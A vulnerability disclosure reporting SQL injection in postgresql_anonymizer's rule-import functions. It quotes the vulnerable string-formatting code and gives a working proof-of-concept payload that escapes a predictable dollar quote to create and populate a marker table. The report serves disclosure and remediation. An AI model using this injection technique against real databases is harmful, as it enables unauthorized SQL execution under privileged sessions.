SQL injection in anon.import_*_rules()

Affected: postgresql_anonymizer 3.2.0-dev current checkout Tested on: PostgreSQL 18.4, Docker runtime built from current source

Functions:

  • anon.import_roles_rules(jsonb, text)
  • anon.import_database_rules(jsonb, text)

Rule import builds SECURITY LABEL statements by interpolating untrusted label strings into a dollar- quoted SQL literal. In release builds the delimiter is stable: label_test.

format!(
    "SECURITY LABEL FOR {} ON {} {} IS $label_{}$ {} $label_{}$;",
    profile,
    kind.to_string().to_uppercase(),
    name,
    random,
    label,
    random,
)

Because label is inserted raw, an imported rule can close the dollar quote and append arbitrary SQL:

CREATE ROLE mdi_runtime_role;

SELECT anon.import_roles_rules(
  jsonb_build_object(
    'mdi_runtime_role',
    'MASKED $label_test$; CREATE TABLE public.mdi_runtime_sqli_marker(proof int); INSERT INTO
    public.mdi_runtime_sqli_marker VALUES (1337); --'
  ),
  'anon'
);

SELECT proof FROM public.mdi_runtime_sqli_marker; -- returns: 1337

Impact

Arbitrary SQL executed as the caller of anon.import_roles_rules() or anon.import_database_rules(). Runtime testing showed these functions are SECURITY INVOKER, so this is not an automatic low- privilege to superuser escalation: injected CREATE ROLE ... SUPERUSER fails for an unprivileged caller.

However, this becomes privileged SQL execution if attacker-controlled JSON is imported by a superuser, extension owner, migration job, admin automation, or any other privileged session.

Reporter: Mehmet Ince @mdisec